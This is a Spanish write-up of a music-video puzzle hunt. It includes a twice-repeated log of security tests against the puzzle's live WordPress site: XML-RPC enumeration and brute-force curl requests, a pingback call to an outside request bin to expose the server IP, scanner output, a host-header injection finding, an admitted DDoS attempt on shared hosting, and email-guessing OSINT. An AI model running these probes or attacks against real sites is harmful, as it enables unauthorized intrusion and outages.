#### Link list: https://llegaraotro.uno/alkjhadk/ https://llegaraotro.uno/not_found https://llegaraotro.uno/feed/atom/ https://llegaraotro.uno/feed/rdf/ https://llegaraotro.uno/~adm/feed/atom/ https://llegaraotro.uno/wp-includes/wlwmanifest.xml https://llegaraotro.uno/section/news?rest_route=/wp/v2/usErs https://llegaraotro.uno/wp-json https://llegaraotro.uno/wp-login.php?itsec-hb-token=iVBcPbA13QhjmDSX33HWY1337R EL login tenia varios fragmentos comentados, que dan como resultado el tipico login de wordpress, nada importante. ![](https://hackmd.io/_uploads/B1jOk7uK3.png) ### La familia Toledo https://llegaraotro.uno/wp-content/themes/blankslate/main.js?ver=6.2.2 ![](https://hackmd.io/_uploads/SJV76qBF2.png) http://www.biyubi.com/ https://www.maestrosdelweb.com/2126/ http://www.biyubi.com/art30.html https://fenixlinux.com/ https://blog.desdelinux.net/fenix-os-aspecto-macos-windows-made-in-spain/ ### XMLRPC.php https://blogseti.wordpress.com/2021/09/22/vulnerabilidad-xml-rcp-en-wordpress/ ```xml $ curl -X POST https://llegaraotro.uno/xmlrpc.php --data "<?xml version="1.0" encoding="utf-8"?<methodCall> <methodName>system.listMethods</methodName><params></params> </methodCall>" <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value> <value><string>mt.getPostCategories</string></value> <value><string>mt.getRecentPostTitles</string></value> <value><string>mt.getCategoryList</string></value> <value><string>metaWeblog.getUsersBlogs</string></value> <value><string>metaWeblog.deletePost</string></value> <value><string>metaWeblog.newMediaObject</string></value> <value><string>metaWeblog.getCategories</string></value> <value><string>metaWeblog.getRecentPosts</string></value> <value><string>metaWeblog.getPost</string></value> <value><string>metaWeblog.editPost</string></value> <value><string>metaWeblog.newPost</string></value> <value><string>blogger.deletePost</string></value> <value><string>blogger.editPost</string></value> <value><string>blogger.newPost</string></value> <value><string>blogger.getRecentPosts</string></value> <value><string>blogger.getPost</string></value> <value><string>blogger.getUserInfo</string></value> <value><string>blogger.getUsersBlogs</string></value> <value><string>wp.restoreRevision</string></value> <value><string>wp.getRevisions</string></value> <value><string>wp.getPostTypes</string></value> <value><string>wp.getPostType</string></value> <value><string>wp.getPostFormats</string></value> <value><string>wp.getMediaLibrary</string></value> <value><string>wp.getMediaItem</string></value> <value><string>wp.getCommentStatusList</string></value> <value><string>wp.newComment</string></value> <value><string>wp.editComment</string></value> <value><string>wp.deleteComment</string></value> <value><string>wp.getComments</string></value> <value><string>wp.getComment</string></value> <value><string>wp.setOptions</string></value> <value><string>wp.getOptions</string></value> <value><string>wp.getPageTemplates</string></value> <value><string>wp.getPageStatusList</string></value> <value><string>wp.getPostStatusList</string></value> <value><string>wp.getCommentCount</string></value> <value><string>wp.deleteFile</string></value> <value><string>wp.uploadFile</string></value> <value><string>wp.suggestCategories</string></value> <value><string>wp.deleteCategory</string></value> <value><string>wp.newCategory</string></value> <value><string>wp.getTags</string></value> <value><string>wp.getCategories</string></value> <value><string>wp.getAuthors</string></value> <value><string>wp.getPageList</string></value> <value><string>wp.editPage</string></value> <value><string>wp.deletePage</string></value> <value><string>wp.newPage</string></value> <value><string>wp.getPages</string></value> <value><string>wp.getPage</string></value> <value><string>wp.editProfile</string></value> <value><string>wp.getProfile</string></value> <value><string>wp.getUsers</string></value> <value><string>wp.getUser</string></value> <value><string>wp.getTaxonomies</string></value> <value><string>wp.getTaxonomy</string></value> <value><string>wp.getTerms</string></value> <value><string>wp.getTerm</string></value> <value><string>wp.deleteTerm</string></value> <value><string>wp.editTerm</string></value> <value><string>wp.newTerm</string></value> <value><string>wp.getPosts</string></value> <value><string>wp.getPost</string></value> <value><string>wp.deletePost</string></value> <value><string>wp.editPost</string></value> <value><string>wp.newPost</string></value> <value><string>wp.getUsersBlogs</string></value> </data></array> </value> </param> </params> </methodResponse> ``` ### REQUESTS #### PINGBACK (DDOS-utils) Se consiguio sacar la IP real desde la que sale el host, aprovechando el modulo pingbak de la api del xmprpc de wordpress, esto en un futuro pñlantara la posiblidad de realizar un DDOS que se especula mucho como idea, pero spoiler, sin existo. ```xml jomoza-s2g-cna :: Documents/TOOLS/wpscan ‹master*› » curl -X POST https://llegaraotro.uno/xmlrpc.php --data "<?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param> <value><string>https://postb.in/1562017983221-4377199190203</string></value> </param> <param> <value><string>https://example.com/</string></value> </param> </params> </methodCall>" ``` ![](https://hackmd.io/_uploads/SJ0LScBKn.png) ###### Direccion IP requested: 74.125.47.2 (no se si es la real o no la v) #### FUERZA BRUTA ```bash curl -X POST https://llegaraotro.uno/xmlrpc.php --data '<?xml version="1.0"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param> <value>lastkey</value> </param> <param> <value>password</value> </param> </params> </methodCall>' ``` https://github.com/claudioviviani/bash-wordpress-xml-bruteforce ### WORDPRESS WP WPScann es un scanner basico contra aplicaciones wordpress que enumera informacion basica de la misma. temas, plugins, autores... No muestra gran informacion, pero lo intenta. ``` [+] Headers | Interesting Entries: | - x-powered-by: PHP/8.0.28 | - server: LiteSpeed | - platform: hostinger | - content-security-policy: upgrade-insecure-requests | - alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: https://llegaraotro.uno/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: https://llegaraotro.uno/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] The external WP-Cron seems to be enabled: https://llegaraotro.uno/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.2.2 identified (Latest, released on 2023-05-20). | Found By: Rss Generator (Passive Detection) | - https://llegaraotro.uno/feed/, <generator>https://wordpress.org/?v=6.2.2</generator> | - https://llegaraotro.uno/comments/feed/, <generator>https://wordpress.org/?v=6.2.2</generator> [+] WordPress theme in use: blankslate | Location: https://llegaraotro.uno/wp-content/themes/blankslate/ | Latest Version: 2023 (up to date) | Last Updated: 2022-11-04T00:00:00.000Z | Style URL: https://llegaraotro.uno/wp-content/themes/blankslate/style.css?ver=6.2.2 | Style Name: BlankSlate | Style URI: https://github.com/tidythemes/blankslate | Description: Donations: https://calmestghost.com/donate. BlankSlate is the definitive WordPress boilerplate start... | Author: TidyThemes | Author URI: https://github.com/tidythemes | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 2023 (80% confidence) | Found By: Style (Passive Detection) | - https://llegaraotro.uno/wp-content/themes/blankslate/style.css?ver=6.2.2, Match: 'Version: 2023' [+] Enumerating DB Exports (via Passive and Aggressive Methods) Checking DB Exports - Time: 00:00:03 <=============================================> (71 / 71) 100.00% Time: 00:00:03 ``` #### ENUMERACION DE USUSARIOS WP PASIVA. Unico resultado visible Durante el reto se realizaron varias pruebas de enumeracion de usuarios, se llego a encontrar un usuario que era lasktkey y se probaros varios metodos de enumeracion con fuerza bruta contra el link de recurer contaseña. Pero ningun resultado relevante con las anumeraciones clasicas de wordpress. https://llegaraotro.uno/?author=0 (Cualquer otro numero da un notfound tradicional, el usuairo con ID 0 **EXISTE**) antiguo usuario: lastkey ##### HOST HEADER INYECTION Se deteco por cierto, una vulnerabilidad de inyeccion de cabecera host. Si os fijais, aunque la peticion es para llegaraotro.uno, al editar la cabecera host en el error, en la respuesta, la cabecera "location" contiene el contenido reflejado, lo que puede suponer forzar redirecciones a los usuarios de la aplicacion. No supone nada para el reto, pero haciendo pruebas salió sin mas. ![](https://hackmd.io/_uploads/HkP4SiStn.png) ### DDOS Uno de los principales estribillos del tema "Llaves" es el de "La verdad no es tan profunda, emerge cuando un servidor se tumba". Desde el munito uno muchos especulaban la posiblidad de realizar una denegacion de servicio contra la web. Este no tenia sentido ademas de que estaba en un hosting compartido de Hostinguer (y suponemos que no queremos ser malos :P). Con todo se prueba un ataque de L7 contra el wordpress, curiosamente funcional, pero sin ningun exito en cuanto al reto. ![](https://hackmd.io/_uploads/H1MagJ8F3.png) ![](https://hackmd.io/_uploads/HJAobyIFn.png) ### STEGO El gif de fondo era sospechoso, y se decicio tambien aplicar tecnicas de esteganografica contra la misma. Existen maquinas docker como "stego-toolkit" que nos incluye distintas herramientas clasidas de setgo. Sin ningun exito por supuesto. https://github.com/DominicBreuker/stego-toolkit ![](https://hackmd.io/_uploads/SkkWleLFn.png) ### OSINT Tambien se emplearon tecnicas de OSINT, sin ningun existo la idea era buscar correos electronicos publicos que contenienesen las palabras clave que conformaran el reto. Existen muchas herramientas que realizan este tipo de busquedas de muchas formas, un ejemplo son zehehf o mailfoguess, de la que os mostrameos un ejemplo de como se emplea a continuacion: ```bash jomoza@host$ python zehef.py lastkey@llegaraotro.uno jomoza@host$ python mailfoguess.py --no-banner -f jaloner -m lastley -l llegaraotro -u 55oner -n 55 --level max --output ./taloner --yes Mailfoguess ================================ EMAILS ============================== Emails : 180 generated in total with 4 different domains Domains used: + gmail.com (30) + yahoo.com (42) + laposte.net (54) + protonmail.com (54) #~~~~~~~~~~~~~~~~~~~~ VALIDATION ~~~~~~~~~~~~~~~~~~~~# Would you like to verify gmail.com (30) [N/y] > All emails already verified remain unchanged, the others are set "unverified" Would you like to verify yahoo.com (42) [N/y] y > Processing yahoo.com (42)... |################################| 100.0% - 0s Done Would you like to verify laposte.net (54) [N/y] y > Processing laposte.net (54)... |################################| 100.0% - 0s Done Would you like to verify protonmail.com (54) [N/y] y > Processing protonmail.com (54)... |################################| 100.0% - 0s Done #~~~~~~~~~~~~~~~~~~~~~ RESULTS ~~~~~~~~~~~~~~~~~~~~~~# Address processed : 180 + verified : 10 + unverified : 30 + non-existent : 140 By provider : + protonmail.com: 10 verified adress found! - j-lastkey-llegaraotro@protonmail.com - j-lastkey-llegaraotro-55@protonmail.com - j-llegaraotro@protonmail.com - j-llegaraotro-55@protonmail.com - j.lastkey.llegaraotro@protonmail.com - j.lastkey.llegaraotro.55@protonmail.com - j.llegaraotro@protonmail.com - j.llegaraotro.55@protonmail.com - j_lastkey_llegaraotro@protonmail.com - j_lastkey_llegaraotro_55@protonmail.com ``` ![](https://hackmd.io/_uploads/rk8H35Yt3.png) ![](https://hackmd.io/_uploads/HkAd2qKK3.png) ![](https://hackmd.io/_uploads/B1FkH75t2.png) ![](https://hackmd.io/_uploads/SkkF4Ont3.png) # A # 🔒🔑🗝🔧🔓 Enigma de las Llaves - No Human Sound x Jaloner $${\color{red}¡Alerta de Spoiler! \space \color{orange}Este \space contenido \space contiene \space información \space reveladora.}$$ ## ¿Dónde habré dejado las llaves, bro? ## Tendrás que llamar al cerrajero... Parecía que había una nueva canción, al principio mis oídos no estaban acostumbrados al Drum&BassRap. Como aquel que sale de la caverna y es cegado por la luz, yo también vivía engañado hasta que pude ver, oír, pensar... ### El comienzo ... 🦠 1. **Nuevo tema de Jaloner con No Human Sound!!** Publicado el 1 de mayo de 2023 en YouTube [No Human Sound x Jaloner - Llaves 🗝🔑🔧](https://www.youtube.com/watch?v=AJAC-WRFcns) 🎧🍿👏🙏🙌 ### El Portal Inicial: La Publicación Reveladora ### 🔴💊🔵❓ 🖐🤔💭 2. **Sumérgete en las entrañas de la madriguera:** Descubre el enlace oculto en el segundo 33 🤫, presta atención a los calambures. [ }{ 👀 ](https://www.youtube.com/watch?v=AJAC-WRFcns&t=33) ### El Despertar del Misterio: Las Canciones Ocultas 3. **🗝El Mensaje Cifrado:** Utiliza el enlace **_?v=EN0-iGtKD7I_** para acceder al primer tema oculto, el cual tiene un vídeo con imágenes glitcheadas en las que pudimos descubrir este string: ``` aHR0cHM6Ly95b3V0dS5iZS9zQIJVdUpaSU85WQ== ``` ### El Enigma Cifrado: 4. **El secreto y la clave están en la dosis pero lo que lleva la dosis es base64:** En el segundo 33 del segundo vídeo, encontrarás un código alfanumérico. ![captura video 2 Jaloner x No Human Sound](https://github.com/orgimeno/llaves/main/images/key4story.png) ### Encoded base64 Decoded true 5. **Descífralo, Hackéalo:** Decodifica el código alfanumérico para obtener el enlace https://youtu.be/sBRUuJZIO9Y. El doble ```==``` recuerda a la codificación base64. ![decode](https://github.com/orgimeno/llaves/main/images/key4story.png) ### La Canción Oculta: Un Portal a lo Desconocido 6. **🔑 Cambio de paradigma:** En el vídeo oculto accederás a una canción inédita, en la descripción del video está el canal de [Telegram](https://t.me/+bsIzOWziGRA5MWFk). ![Pista en descripción del video](https://github.com/orgimeno/llaves/main/images/key4story.png) ### El Misterio Revelado: La Hora Oscura del 1 de Junio 7. **13:47h (hora española) el día 1 de junio de 2023:** Observa que los vídeos ocultos y el canal de Telegram fueron creados antes de la publicación del enigma. En este se publicó el [poema pez 🐟](https://youtu.be/nRQ4wvt0gm8) de [Chantal Maillard](https://chantalmaillard.com/) y una cadena de carácteres alfanumérica encriptada la que llamaremos el último String. ```FkDY+3JK5pEtm3jChcNSz7Ig2BjpQb8L+9px9oV7vetMWwGU1DX1Phuw+Ku1pzV5sOEPoqIa7DzFqDA4YrVTuw==``` El poema se encuentra en 3 imágenes. ![imagen1](https://github.com/santibreo/jaloner_llave3/blob/main/images/1.jpg) ![imagen2](https://github.com/santibreo/jaloner_llave3/blob/main/images/2.jpg) ![imagen3](https://github.com/santibreo/jaloner_llave3/blob/main/images/3.jpg) ### La unión hace la fuerza, fuerza con piña 🍍 8. **¡Únete a la comunidad!** A través de las redes sociales, se nos anima a crear comunidad y unirnos para resolver el enigma. Los usuarios @Giancarlo y @Pvictor, sin conocerse, sin compartir el mismo continente pero unidos por un objetivo común crearon a [un servidor 🙇‍,](https://discord.gg/8tEZKnB3x) en el que converguen todos los cerrajeros. ![Únete a la comunidad](https://github.com/orgimeno/llaves/main/images/key4story.png) ### El Regreso a la Superficie: Entre Sombras y Profundidades 9. **🐠Volver a la superficie🐡:** El poema encontrado en Telegram hace referencia a la importancia de volver al principio, es decir, al video llaves. Por si te quedan dudas, la página es la 55 y se observa en la foto que han agregado **__oner__** para dejar "[55 ONER]" mediante la edición. Cuando volvemnos al origen de todo, nada más empieza vemos al protagonista en el exterior, la superficie, pero pronto nos adentramos en lo más profundo de nosotros mismos. ### El Enigma Cifrado: Secretos Oscuros y Palabras Prohibidas 10. **Encriptación con palabra clave:** La encriptación utilizada en el string de Telegram requiere una palabra clave para descifrarla. Tenemos algunos scripts que prueban en distíntos métodos de encriptación con un diccionario hecho por la comunidad con la mayoría de conceptos que hemos podido extraer. A continuación tenemos que probar todos los posibles secretos en los diferentes métodos de encriptación. [Creo que son unos 127 ...](https://encode-decode.com/encryption-functions/) ### Acceso a la ultima llave. Despues de semanas y semanas de trabajo, el texto cifrado correspondiente al canal de telegram: FkDY+3JK5pEtm3jChcNSz7Ig2BjpQb8L+9px9oV7vetMWwGU1DX1Phuw+Ku1pzV5sOEPoqIa7DzFqDA4YrVTuw== ![](https://media.discordapp.net/attachments/1128006015099600906/1128009169853743134/1C947258-BD4F-4423-B366-AF19E7A5D5DD.png?width=810&height=374) Fue identificado como un texto cifrado en AES256 con una contraseña especifica. Y despues de aun mas semanas de prueba y error, la contraseña resulto ser: **GGSÄÄción:** , mismo texto el cual encontramos escondido en los creditos del tema Llaves junto a la secuencia "55 oner". ![](https://hackmd.io/_uploads/SkkF4Ont3.png) ### llevaraotro.uno Este es el listado completo de pruebas de seguridad que se hicieron contra el sitio wordpress donde encontrariamos la ultima llave. Ninguna de ellas finalmente dio con el resultado del reto, ya que era mucho mas simple. #### Link list: https://llegaraotro.uno/alkjhadk/ https://llegaraotro.uno/not_found https://llegaraotro.uno/feed/atom/ https://llegaraotro.uno/feed/rdf/ https://llegaraotro.uno/~adm/feed/atom/ https://llegaraotro.uno/wp-includes/wlwmanifest.xml https://llegaraotro.uno/section/news?rest_route=/wp/v2/usErs https://llegaraotro.uno/wp-json https://llegaraotro.uno/wp-login.php?itsec-hb-token=iVBcPbA13QhjmDSX33HWY1337R EL login tenia varios fragmentos comentados, que dan como resultado el tipico login de wordpress, nada importante. ![](https://hackmd.io/_uploads/B1jOk7uK3.png) #### XMLRPC.php https://blogseti.wordpress.com/2021/09/22/vulnerabilidad-xml-rcp-en-wordpress/ ```xml $ curl -X POST https://llegaraotro.uno/xmlrpc.php --data "<?xml version="1.0" encoding="utf-8"?<methodCall> <methodName>system.listMethods</methodName><params></params> </methodCall>" <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value> <value><string>mt.getPostCategories</string></value> <value><string>mt.getRecentPostTitles</string></value> <value><string>mt.getCategoryList</string></value> <value><string>metaWeblog.getUsersBlogs</string></value> <value><string>metaWeblog.deletePost</string></value> <value><string>metaWeblog.newMediaObject</string></value> <value><string>metaWeblog.getCategories</string></value> <value><string>metaWeblog.getRecentPosts</string></value> <value><string>metaWeblog.getPost</string></value> <value><string>metaWeblog.editPost</string></value> <value><string>metaWeblog.newPost</string></value> <value><string>blogger.deletePost</string></value> <value><string>blogger.editPost</string></value> <value><string>blogger.newPost</string></value> <value><string>blogger.getRecentPosts</string></value> <value><string>blogger.getPost</string></value> <value><string>blogger.getUserInfo</string></value> <value><string>blogger.getUsersBlogs</string></value> <value><string>wp.restoreRevision</string></value> <value><string>wp.getRevisions</string></value> <value><string>wp.getPostTypes</string></value> <value><string>wp.getPostType</string></value> <value><string>wp.getPostFormats</string></value> <value><string>wp.getMediaLibrary</string></value> <value><string>wp.getMediaItem</string></value> <value><string>wp.getCommentStatusList</string></value> <value><string>wp.newComment</string></value> <value><string>wp.editComment</string></value> <value><string>wp.deleteComment</string></value> <value><string>wp.getComments</string></value> <value><string>wp.getComment</string></value> <value><string>wp.setOptions</string></value> <value><string>wp.getOptions</string></value> <value><string>wp.getPageTemplates</string></value> <value><string>wp.getPageStatusList</string></value> <value><string>wp.getPostStatusList</string></value> <value><string>wp.getCommentCount</string></value> <value><string>wp.deleteFile</string></value> <value><string>wp.uploadFile</string></value> <value><string>wp.suggestCategories</string></value> <value><string>wp.deleteCategory</string></value> <value><string>wp.newCategory</string></value> <value><string>wp.getTags</string></value> <value><string>wp.getCategories</string></value> <value><string>wp.getAuthors</string></value> <value><string>wp.getPageList</string></value> <value><string>wp.editPage</string></value> <value><string>wp.deletePage</string></value> <value><string>wp.newPage</string></value> <value><string>wp.getPages</string></value> <value><string>wp.getPage</string></value> <value><string>wp.editProfile</string></value> <value><string>wp.getProfile</string></value> <value><string>wp.getUsers</string></value> <value><string>wp.getUser</string></value> <value><string>wp.getTaxonomies</string></value> <value><string>wp.getTaxonomy</string></value> <value><string>wp.getTerms</string></value> <value><string>wp.getTerm</string></value> <value><string>wp.deleteTerm</string></value> <value><string>wp.editTerm</string></value> <value><string>wp.newTerm</string></value> <value><string>wp.getPosts</string></value> <value><string>wp.getPost</string></value> <value><string>wp.deletePost</string></value> <value><string>wp.editPost</string></value> <value><string>wp.newPost</string></value> <value><string>wp.getUsersBlogs</string></value> </data></array> </value> </param> </params> </methodResponse> ``` #### PINGBACK (DDOS-utils) Se consiguio sacar la IP real desde la que sale el host, aprovechando el modulo pingbak de la api del xmprpc de wordpress, esto en un futuro pñlantara la posiblidad de realizar un DDOS que se especula mucho como idea, pero spoiler, sin existo. ```xml jomoza-s2g-cna :: Documents/TOOLS/wpscan ‹master*› » curl -X POST https://llegaraotro.uno/xmlrpc.php --data "<?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param> <value><string>https://postb.in/1562017983221-4377199190203</string></value> </param> <param> <value><string>https://example.com/</string></value> </param> </params> </methodCall>" ``` ![](https://hackmd.io/_uploads/SJ0LScBKn.png) ###### Direccion IP requested: 74.125.47.2 (no se si es la real o no la v) #### FUERZA BRUTA Tambien se puede usar este para ahcer pruebas de fuerza bruta, seria util si se obtiene el usuario. ```bash curl -X POST https://llegaraotro.uno/xmlrpc.php --data '<?xml version="1.0"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param> <value>lastkey</value> </param> <param> <value>password</value> </param> </params> </methodCall>' ``` https://github.com/claudioviviani/bash-wordpress-xml-bruteforce #### WORDPRESS WP WPScann es un scanner basico contra aplicaciones wordpress que enumera informacion basica de la misma. temas, plugins, autores... No muestra gran informacion, pero lo intenta. ``` [+] Headers | Interesting Entries: | - x-powered-by: PHP/8.0.28 | - server: LiteSpeed | - platform: hostinger | - content-security-policy: upgrade-insecure-requests | - alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: https://llegaraotro.uno/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: https://llegaraotro.uno/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] The external WP-Cron seems to be enabled: https://llegaraotro.uno/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.2.2 identified (Latest, released on 2023-05-20). | Found By: Rss Generator (Passive Detection) | - https://llegaraotro.uno/feed/, <generator>https://wordpress.org/?v=6.2.2</generator> | - https://llegaraotro.uno/comments/feed/, <generator>https://wordpress.org/?v=6.2.2</generator> [+] WordPress theme in use: blankslate | Location: https://llegaraotro.uno/wp-content/themes/blankslate/ | Latest Version: 2023 (up to date) | Last Updated: 2022-11-04T00:00:00.000Z | Style URL: https://llegaraotro.uno/wp-content/themes/blankslate/style.css?ver=6.2.2 | Style Name: BlankSlate | Style URI: https://github.com/tidythemes/blankslate | Description: Donations: https://calmestghost.com/donate. BlankSlate is the definitive WordPress boilerplate start... | Author: TidyThemes | Author URI: https://github.com/tidythemes | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 2023 (80% confidence) | Found By: Style (Passive Detection) | - https://llegaraotro.uno/wp-content/themes/blankslate/style.css?ver=6.2.2, Match: 'Version: 2023' [+] Enumerating DB Exports (via Passive and Aggressive Methods) Checking DB Exports - Time: 00:00:03 <=============================================> (71 / 71) 100.00% Time: 00:00:03 ``` #### ENUMERACION DE USUSARIOS WP PASIVA. Unico resultado visible Durante el reto se realizaron varias pruebas de enumeracion de usuarios, se llego a encontrar un usuario que era lasktkey y se probaros varios metodos de enumeracion con fuerza bruta contra el link de recurer contaseña. Pero ningun resultado relevante con las anumeraciones clasicas de wordpress. https://llegaraotro.uno/?author=0 (Cualquer otro numero da un notfound tradicional, el usuairo con ID 0 **EXISTE**) antiguo usuario: lastkey ##### HOST HEADER INYECTION Se deteco por cierto, una vulnerabilidad de inyeccion de cabecera host. Si os fijais, aunque la peticion es para llegaraotro.uno, al editar la cabecera host en el error, en la respuesta, la cabecera "location" contiene el contenido reflejado, lo que puede suponer forzar redirecciones a los usuarios de la aplicacion. No supone nada para el reto, pero haciendo pruebas salió sin mas. ![](https://hackmd.io/_uploads/HkP4SiStn.png) #### DDOS Uno de los principales estribillos del tema "Llaves" es el de "La verdad no es tan profunda, emerge cuando un servidor se tumba". Desde el munito uno muchos especulaban la posiblidad de realizar una denegacion de servicio contra la web. Este no tenia sentido ademas de que estaba en un hosting compartido de Hostinguer (y suponemos que no queremos ser malos :P). Con todo se prueba un ataque de L7 contra el wordpress, curiosamente funcional, pero sin ningun exito en cuanto al reto. ![](https://hackmd.io/_uploads/H1MagJ8F3.png) ![](https://hackmd.io/_uploads/HJAobyIFn.png) #### STEGO El gif de fondo era sospechoso, y se decicio tambien aplicar tecnicas de esteganografica contra la misma. Existen maquinas docker como "stego-toolkit" que nos incluye distintas herramientas clasidas de setgo. Sin ningun exito por supuesto. https://github.com/DominicBreuker/stego-toolkit ![](https://hackmd.io/_uploads/SkkWleLFn.png) #### OSINT Tambien se emplearon tecnicas de OSINT, sin ningun existo la idea era buscar correos electronicos publicos que contenienesen las palabras clave que conformaran el reto. Existen muchas herramientas que realizan este tipo de busquedas de muchas formas, un ejemplo son zehehf o mailfoguess, de la que os mostrameos un ejemplo de como se emplea a continuacion: ```bash jomoza@host$ python zehef.py lastkey@llegaraotro.uno jomoza@host$ python mailfoguess.py --no-banner -f jaloner -m lastley -l llegaraotro -u 55oner -n 55 --level max --output ./taloner --yes Mailfoguess ================================ EMAILS ============================== Emails : 180 generated in total with 4 different domains Domains used: + gmail.com (30) + yahoo.com (42) + laposte.net (54) + protonmail.com (54) #~~~~~~~~~~~~~~~~~~~~ VALIDATION ~~~~~~~~~~~~~~~~~~~~# Would you like to verify gmail.com (30) [N/y] > All emails already verified remain unchanged, the others are set "unverified" Would you like to verify yahoo.com (42) [N/y] y > Processing yahoo.com (42)... |################################| 100.0% - 0s Done Would you like to verify laposte.net (54) [N/y] y > Processing laposte.net (54)... |################################| 100.0% - 0s Done Would you like to verify protonmail.com (54) [N/y] y > Processing protonmail.com (54)... |################################| 100.0% - 0s Done #~~~~~~~~~~~~~~~~~~~~~ RESULTS ~~~~~~~~~~~~~~~~~~~~~~# Address processed : 180 + verified : 10 + unverified : 30 + non-existent : 140 By provider : + protonmail.com: 10 verified adress found! - j-lastkey-llegaraotro@protonmail.com - j-lastkey-llegaraotro-55@protonmail.com - j-llegaraotro@protonmail.com - j-llegaraotro-55@protonmail.com - j.lastkey.llegaraotro@protonmail.com - j.lastkey.llegaraotro.55@protonmail.com - j.llegaraotro@protonmail.com - j.llegaraotro.55@protonmail.com - j_lastkey_llegaraotro@protonmail.com - j_lastkey_llegaraotro_55@protonmail.com ``` ### Final del enigma. En el error está el acierto. Habían bastante referencias a esto: -"Cuando fallas, alguien tiene más posibilidades de acertar" En el código: -<div class="en-el-error-esta-el-acierto"></div> -.en-el-error-esta-el-acierto { content: 'busca en el error'; } ![](https://hackmd.io/_uploads/rkKz29ttn.png) Buscando el error Dentro del código, hay una parte un poco confusa comentada (con <!-- -->) donde vemos que hay un enlace a https://llegaraotro.uno/ con el texto : Ir a la última llave. -Al acceder https://llegaraotro.uno/ -> pantalla en negro con un texto en medio : "¿Qué haces aquí? -Al mirar el código vemos que es una pantalla que da un error 404 -El texto en el código se ve así: <p class="109-oner">¿qué haces aquí?</p> 109-oner -Relacionamos 109-oner con 55 oner: 55 oner fue el pie de página del poema EL PEZ de Chantal Maillard -Compramos el libro "Hilos" de Chantal Maillard para poder buscar el poema de la página 109 En este momento, la pagina a sufrido cambios por parte del desarrollador (Jaloner), pero funcionaba de la siguiente manera: Al ingresar en la pagina, la pagina requeria 2 campos al estilo usuario y contraseña, con la excepcion de que se titulaban ¿Quien? y ¿Cuando?. Al mirar el codigo interno de la pagina y rebuscar en el mismo, era posible acceder a unas cuantas paginas mas, entre las cuales se encontraba una con la secuencia "109 oner" escondida en la misma. Al hilar los puntos y relacionar con el 55 oner, desciframos que el 109 correspondia a la pagina 109 del libro "Hilos" de Chantal Maillard. Y sin redudancias o problemas, el poema nos proporcionaba esta información de primera mano. Primero, el quién. Luego viene el cuándo. Peor el cuándo. O no es peor, es peligroso. El quién se ajusta con el cuándo y el temor sobreviene. El temor a perder. A perderse. Si al menos uno pudiese entonces agarrarse a otras manos, pero otras igualmente se agarran a un quien complicado en un cuando, cada cual albergándolos. Así que mejor olvidar. Acariciar al gato. De bruces. A su altura. Disminuirse. ¿Quién? **primero** ¿Cuándo? **peligroso** -Dilema del "primero": Al ser el primero podía hacer lo siguiente: Descargar el tema y borrar todos los temas de "llaves". Así teniendo el tema en "exclusiva". otra opción era 